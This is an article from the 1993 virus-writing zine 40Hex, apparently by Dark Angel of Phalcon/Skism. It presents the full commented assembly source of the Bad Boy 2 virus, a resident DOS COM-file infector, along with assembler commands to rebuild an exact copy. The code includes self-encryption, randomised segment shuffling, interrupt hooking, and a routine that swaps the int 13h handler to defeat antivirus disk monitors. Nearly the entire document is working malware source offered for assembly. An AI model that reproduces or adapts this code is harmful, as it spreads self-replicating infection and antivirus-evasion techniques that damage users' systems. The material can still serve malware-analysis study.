40Hex Issue 10 Volume 3 Number 1 File 006 The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly not a good source of virus description, so we will not bother including its utterly useless description of the virus here. Bad Boy 2 is a resident COM infector. After 10 infections, it turns itself off. Although most of the code is written well, there are still a few bugs and inconsistencies in it. It implements several well-known stealth techniques, including playing with the system file table. It is a segmented virus, with variable placement of each segment when it infects a file. Thus the locations of each segment in the virus relative to each other changes upon each infection. For a byte-to-byte match up of the original, assemble with the following: tasm badboy2.asm tlink /t badboy2.asm Note only one pass is required. Dark Angel Phalcon/Skism 1993 ------------------------------------------------------------------------------- .model tiny .code org 100h ; Bad Boy 2 virus ; Disassembly done by Dark Angel of Phalcon/Skism ; For 40Hex Issue 10 Volume 3 Number 1 start: push cs:startviruspointer ; save on stack for push cs ; return pop ds jmp word ptr cs:encryptpointer ; decrypt virus endstart: curpointer dw 0 infcounter db 0 filesize dw 2 filetime dw 0 filedate dw 0 origint21 dw 0, 0 DOSdiskOFF dw 0 DOSdiskSEG dw 0 oldint21 dw 0, 0 oldint24 dw 0, 0 ; The parts of the virus are here encryptpointer dw offset carrierencrypt startviruspointer dw offset startvirus installpointer dw offset install exitviruspointer dw offset exitvirus restoreint21pointer dw offset restoreint21 int24pointer dw offset int24 int21pointer dw offset int21 infectpointer dw offset infect encryptlength dw endencrypt-encrypt startviruslength dw endstartvirus-startvirus installlength dw endinstall-install exitviruslength dw endexitvirus-exitvirus restoreint21length dw endrestoreint21-restoreint21 int24length dw endint24-int24 int21length dw endint21-int21 infectlength dw endinfect-infect enddata: encrypt: ; and decrypt mov bx,offset startviruspointer mov cx,6 do_next_segment: cmp bx,offset int24pointer jne not_int24pointer add bx,2 not_int24pointer: push bx push cx mov ax,[bx] ; get start offset mov cx,[bx+encryptlength-encryptpointer] ; and length mov bx,ax encrypt_segment: xor [bx],al ; encrypt cx bytes inc bx loop encrypt_segment pop cx pop bx add bx,2 ; go to next segment loop do_next_segment retn endencrypt: startvirus: mov es,cs:[2] ; get top of memory mov di,100h ; check if virus mov si,100h ; already resident mov cx,offset endstart - offset start - 1 rep cmpsb jnz not_installed ; continue if not jmp cs:exitviruspointer ; otherwise, quit not_installed: mov ax,cs ; get current program's dec ax ; MCB mov ds,ax cmp byte ptr ds:[0],'Z' ; check if last one ;nop je is_last_MCB ; continue if so jmp cs:exitviruspointer ; otherwise, quit is_last_MCB: rsize = ((endvirus - start + 15)/16+1)*3 ; resident size in ; paragraphs sub word ptr ds:[3],rsize ; decrease MCB's memory mov ax,es ; get segment of high memory sub ax,rsize ; decrease by virus size mov es,ax ; es = start segment of virus mov ds:[12h],ax ; put value in PSP top of ; memory field push cs pop ds mov cs:infcounter,0 ; clear infection counter mov di,100h mov cx,offset enddata - offset start mov si,100h rep movsb mov bx,cs:encryptpointer add bx,encrypt_segment-encrypt+1 xor byte ptr [bx],18h ; change to: xor [bx],bl ; shuffling segments to different locations mov cx,8 mov curpointer,offset encrypt shuffle: push cx call random_segment push bx mov ax,[bx] push ax add bx,encryptlength-encryptpointer mov cx,[bx] pop si pop bx xchg di,curpointer mov es:[bx],di ; copy segment rep movsb ; to memory area xchg di,curpointer mov ax,8000h or [bx],ax ; mark already copied pop cx loop shuffle mov cl,8 not ax ; ax = 7FFFh mov bx,offset encryptpointer clear_hibit: ; restore the pointers and [bx],ax add bx,2 loop clear_hibit jmp cs:installpointer random_segment: push cx push es xor cx,cx mov es,cx random_segment_loop: mov bx,es:[46Ch] ; get timer ticks since ; midnight MOD 8 db 081h,0e3h,7,0 ; and bx,7 shl bx,1 ; multiply by 2 add bx,offset encryptpointer test word ptr [bx],8000h ; check if already moved jnz random_segment_loop ; do it again if so pop es pop cx retn endstartvirus: install: xor ax,ax mov ds,ax ; ds->interrupt table mov ax,ds:21h*4 ; save old int 21h handler mov es:oldint21,ax mov ax,ds:21h*4+2 mov word ptr es:oldint21+2,ax mov ah,30h ; get DOS version int 21h cmp ax,1E03h ; 3.X? jne not_DOS_3X ; skip if not mov es:origint21,1460h ; use known value for int 21h mov ax,1203h ; get DOS segment push ds int 2Fh mov word ptr es:origint21+2,ds pop ds jmp short is_DOS_3X nop not_DOS_3X: mov ax,ds:21h*4 mov es:origint21,ax mov ax,ds:21h*4+2 mov word ptr es:origint21+2,ax is_DOS_3X: cli ; set new int 21h handler mov ax,es:int21pointer mov ds:21h*4,ax mov ax,es mov ds:21h*4+2,ax sti mov cx,es mov ah,13h ; get old DOS disk handler int 2Fh ; to es:bx push es mov es,cx mov es:DOSdiskOFF,dx mov es:DOSdiskSEG,ds pop es int 2Fh ; restore DOS disk handler jmp cs:exitviruspointer endinstall: exitvirus: push cs ; copy return routine to push cs ; buffer at end of file pop ds ; and transfer control pop es ; to it mov si,cs:exitviruspointer add si,offset return_to_COM - offset exitvirus ;nop mov di,cs:filesize add di,offset endvirus push di mov cx,offset end_return_to_COM - offset return_to_COM cld rep movsb retn ; jmp to return_to_COM return_to_COM: mov si,cs:filesize add si,100h cmp si,offset endvirus ; check if small file jae not_negative ; if not, skip next mov si,offset endvirus ; adjust for too small not_negative: mov di,100h mov cx,offset endvirus - offset start - 1 ; ???? rep movsb ; copy old file to start mov ax,100h ; and exit the virus push ax retn end_return_to_COM: endexitvirus: restoreint21: xor di,di mov ds,di cli mov di,cs:oldint21 mov ds:21h*4,di mov di,word ptr cs:oldint21+2 mov ds:21h*4+2,di sti retn plea db 'Make me better!' endrestoreint21: int24: mov al,3 iret message db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0 endint24: int21: push bx push si push di push es push ax cmp ax,4B00h ; check if execute jz execute ; continue if so jmp short exitint21 nop execute: push ds push cs pop es xor ax,ax mov ds,ax mov si,24h*4 ; get old int 24h mov di,offset oldint24 ; handler movsw movsw mov ax,cs:int24pointer cli ; set new critical error mov ds:24h*4,ax ; handler mov ax,cs mov ds:24h*4+2,ax sti pop ds mov ax,3D00h ; open file read only pushf call dword ptr cs:oldint21 jc restore_exitint21 mov bx,ax ; handle to bx call cs:infectpointer pushf mov ah,3eh ; close file pushf call dword ptr cs:oldint21 popf jc restore_exitint21 push ds cli ; subvert nasty disk xor ax,ax ; monitoring programs mov ds,ax mov ax,cs:DOSdiskOFF xchg ax,ds:13h*4 mov cs:DOSdiskOFF,ax mov ax,cs:DOSdiskSEG xchg ax,ds:13h*4+2 mov cs:DOSdiskSEG,ax sti pop ds restore_exitint21: push ds xor ax,ax mov ds,ax mov ax,cs:oldint24 mov ds:24h*4,ax mov ax,word ptr cs:oldint24+2 mov ds:24h*4+2,ax pop ds exitint21: pop ax pop es pop di pop si pop bx jmp dword ptr cs:oldint21 endint21: infect: push cx push dx push ds push es push di push bp push bx mov ax,1220h ; get JFT entry for file int 2Fh ; handle bx mov bl,es:[di] xor bh,bh mov ax,1216h ; get associated SFT int 2Fh ; entry to es:di pop bx mov ax,es:[di+11h] ; get file size cmp ax,0F000h ; exit if too large jb not_too_large jmp errorinfect not_too_large: mov word ptr es:[di+2],2 ; set to read/write mode mov ax,es:[di+11h] ; get file size (again) mov cs:filesize,ax ; save it mov ax,es:[di+0Dh] ; get file time mov cs:filetime,ax ; save it mov ax,es:[di+0Fh] ; get file date mov cs:filedate,ax ; save it push cs pop ds mov dx,4E9h mov cx,3E8h mov ah,3Fh ; Read from file pushf call dword ptr cs:oldint21 jnc read_ok jmp errorinfect read_ok: mov bp,ax mov si,dx mov ax,'MZ' ; check if EXE cmp ax,[si] jne not_MZ jmp errorinfect not_MZ: xchg ah,al cmp ax,[si] ; check if EXE jne not_ZM jmp errorinfect not_ZM: push es push di push cs pop es mov si,100h ; check if already mov di,dx ; infected mov cx,offset endstart - offset start - 1 repe cmpsb pop di pop es jnz not_already_infected jmp errorinfect not_already_infected: mov word ptr es:[di+15h],0 push es push di mov si,cs:infectpointer add si,offset write_virus - offset infect xor di,di push cs pop es mov cx,offset end_write_virus-offset write_virus cld rep movsb pop di pop es mov si,cs:infectpointer add si,offset finish_infect - offset infect push si xor si,si push si push ds cli ; subvert nasty xor ax,ax ; antivirus programs mov ds,ax mov ax,cs:DOSdiskOFF xchg ax,ds:13h*4 mov cs:DOSdiskOFF,ax mov ax,cs:DOSdiskSEG xchg ax,ds:13h*4+2 mov cs:DOSdiskSEG,ax sti pop ds retn write_virus: push bx call cs:encryptpointer ; encrypt virus pop bx mov dx,100h mov ah,40h ; write virus mov cx,offset endvirus - offset start pushf call dword ptr cs:origint21 pushf push bx call cs:encryptpointer ; decrypt virus pop bx popf jnc write_OK pop ax mov ax,cs:infectpointer add ax,offset infectOK - offset infect push ax retn write_OK: mov ax,es:[di+11h] ; move file pointer mov es:[di+15h],ax ; to end of file mov dx,offset endvirus mov cx,bp mov ah,40h ; concatenate carrier pushf ; file's first few bytes call dword ptr cs:origint21 retn end_write_virus: finish_infect: mov ax,5701h ; restore file time/date mov cx,cs:filetime mov dx,cs:filedate pushf call dword ptr cs:oldint21 inc cs:infcounter cmp cs:infcounter,10d ; after 10 infections, jne infectOK call cs:restoreint21pointer ; turn off virus jmp short infectOK errorinfect: stc ; set error flag jmp short exitinfect infectOK: clc ; clear error flag exitinfect: pop bp pop di pop es pop ds pop dx pop cx retn endinfect: db 0 endvirus: int 20h carrierencrypt: mov word ptr cs:encryptpointer,offset encrypt retn end start ------------------------------------------------------------------------------- DA